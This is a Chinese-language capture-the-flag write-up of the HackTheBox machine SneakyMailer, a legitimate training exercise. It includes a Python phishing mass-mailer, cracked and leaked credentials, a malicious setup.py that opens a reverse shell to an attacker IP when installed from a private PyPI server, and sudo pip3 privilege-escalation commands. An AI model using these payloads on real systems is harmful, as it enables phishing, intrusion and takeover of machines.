0%

HackTheBox-SneakyMailer

  • NAME:SneakyMailer
  • IP: 10.10.10.197
  • Difficulty:Medium

image-20201127004801114

0x01 信息收集

NMAP

1
2
namp -p- sneakycorp.htb
nmap -p80..... -sC -sV sneakycorp.htb

image-20201125103827977

directory busting

1
2
3
4
5
6
7
8
9
10
11
12
13
14
http://sneakycorp.htb

/index.php (Status: 200)
/img (Status: 301)
/css (Status: 301)
/team.php (Status: 200)
/js (Status: 301)
/vendor (Status: 301)
/pypi (Status: 301)


http://sneakycorp.htb/pypi

/register.php (Status: 200)

Subdomain burting

1
wfuzz -c -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-20000.txt --hl 7 -H "Host: FUZZ.sneakycorp.htb" -u http://sneakycorp.htb -t 100

image-20201125105502583

发现dev子域名

smtp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
EHLO localhost
250-debian
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250-SMTPUTF8
250 CHUNKING
HELO localhost
AUTH LOGIN
503 5.5.1 Error: authentication not enable

EHLO 和VRFY都能用,但是禁用了AUTH 所以爆破也没用,尝试了一下也能直接发送邮件(伪造发件人(钓鱼可能性微存。。

IMAP

这个也是,,直接nc进去不能登陆。估计得用专门的邮件客户端。

ftp

匿名用户登陆失败。

http

访问http://sneakycorp.htb 我们可以知道目标的邮件后缀

image-20201125105650491

  • sneakymailer.htb

从前面发现的dev的子域名,访问后,左侧多了一个注册按钮,点击后跳转注册页面,也就是前面目录扫描/pypi/扫到的,但是提交没反应。

http-8080

就一个nginx默认页面

0x02 漏洞利用

smtp 钓鱼邮件

手写了一个python脚本来发送邮件,先提取所有的邮件地址。

1
curl http://dev.sneakycorp.htb/team.php |grep -oE '<td>.*@sneakymailer.htb</td>' > emails.txt

Python发送邮件代码如下,发送之前记得先开个nc监听1234端口((为什么不用sweak啊,因为没用过啊。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import re
from_mail = '[email protected]'

def write_mail(to_mail):
msg = MIMEText("Port Report,Please Check<img src='http://Your-IP:1234/a.jpg'>asdasd</img>ASDASD<p>sdsdsdsdsd</p>", "html", "utf-8")
content_part = msg
m = MIMEMultipart()
m.attach(content_part)
m['Subject'] = 'Port Report - Week'
m['From'] = from_mail
m['To'] = to_mail
try:
server = smtplib.SMTP('10.10.10.197', port='25')
server.sendmail(from_mail, to_mail.split(','), m.as_string())
print('{} success'.format(to_mail))
server.quit()
except smtplib.SMTPException as e:
print('error:', e)


def main():

with open(file='emails.txt',mode='r') as f:
to_mail=f.readlines()

new_tomail=[]
for i in to_mail:
a = re.findall('<td>(.*?)</td>', i)
a= ''.join(a)
new_tomail.append(a)

for i in new_tomail:
write_mail(i)
print('All Jobs is Done!')


if __name__ == '__main__':
main()

image-20201126005914799

解码之后

1
2
3
4
5
6
firstName=Paul
lastName=Byrd
user=paulbyrd
email=[email protected]
password=^(#[email protected][%KhIxKk(Ju`hqcHl<:Ht
rpassword=^(#[email protected][%KhIxKk(Ju`hqcHl<:Ht

image-20201126163624437

在邮件中找到一个账号密码,从另外一封邮件,我们得知这个服务器上面有pypi服务。。并且low这人要安装测试。。

image-20201127003522512

1
2
3
Username: developer

Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

ftp 获取立足点

用邮件拿到的凭证测试之后能登陆ftp,但是不能登陆ssh。

image-20201126163828723

看起来是dev子域名的根目录,不过没关系。我们可以直接传shell了,

image-20201126165246450

image-20201126165300195

这靶机也是有脚本自动恢复环境的。所以上传之后要尽快getshell

0x03 提权

用以下代码打开一个pty

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

用邮箱找到的密码能切换用户。

image-20201126193419030

接着在/var/www/下发现一个新的网站目录,子域名,并且在里面的.htpasswd看到了一个账号。

image-20201126165652845

1
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/

john爆破就好了

1
sudo john --wordlist=/usr/share/wordlists/rockyou.txt pypi.apr

image-20201126170758163

1
pypi:soufianeelhaoui

image-20201126174244372

尝试访问下5000端口的服务。

1
curl -v http://127.0.0.1:5000/

5000端口上的服务就是目标私有pypi源服务。

image-20201126182702581

访问看看有什么包

1
2
3
curl -v http://127.0.0.1:5000/simple/ -u "pypi:soufianeelhaoui"

curl -v http://127.0.0.1:5000/packages/ -u "pypi:soufianeelhaoui"

image-20201126183059194

两个目录都是空的。邮件里面说low用户要对pypi模块进行测试,安装。所以猜测有个定时任务或者后台程序之类的东西。

1
ps -ef|grep low
1
low       1071     1  0 07:58 ?        00:00:06 /home/low/venv/bin/python /opt/scripts/low/install-modules.py

果然。。有个安装模块的脚本。不过看不了源码,目录权限写死了。

上传py模块包-提权 low

然后两个标准的文件.pypircsetup.py

.pypirc文件

1
2
3
4
5
6
7
[distutils]
index-servers = local

[local]
repository: http://localhost:5000
username: pypi
password: soufianeelhaoui

恶意setup.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from setuptools import setup, find_packages
import os,socket,subprocess


a=os.system('cat /home/low/user.txt')
# 这里要做个判断,要不然一上传就弹个www-data的shell回来
if a == 0:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('Your IP',8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/bash','-i'])

setup(
name='test',
version='0.0.1',
author='atsud0',
license='MIT',
)

在执行上传之前,先修改下当前用户的家目录,改成.pypirc所在的目录。为什么要修改呢,就如前面说所这个文件默认就是在家目录,不管是www-data用户还是dev用户,他们的家目录都在/var/www下,他们还没创建文件的权限。所以改个环境变量到tmp下再创建。

1
2
echo $HOME
export HOME=/tmp/project

image-20201127001801966

1
python3 setup.py sdist register -r local upload -r local

image-20201127001702883

提权至root

image-20201126225658727

已经成功越权到low用户了,再次执行下信息收集脚本。

image-20201126230618077

sudo pip3。。最喜欢这种了。。不过我一开是用GTFOBins给的提权命令,但是不能成功。(不过如果先开个python pty的话就可以成功。

1
2
3
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip3 install $TF

image-20201127003306173

然后用回了一开始越权到low用户的setup.py脚本改了下端口。

1
sudo pip3 install . --upgrade --force-reinstall

image-20201127000833982

R O O T E D !

0x04 总结

难,是真的难。如果没有接触过pypi的话,是真的麻烦。一开始的邮件钓鱼,也是很秀。万万没想到,拿立足点竟然比root还要难。不过在这个靶机也学到了很多,比如怎么上传py包到pypi源,简单的钓鱼邮件利用,收获还是很多的,文章中可能有许多错误或语法不通顺的地方,还请各位大佬多多谅解,有什么问题欢迎私信找我交流。

参考文章: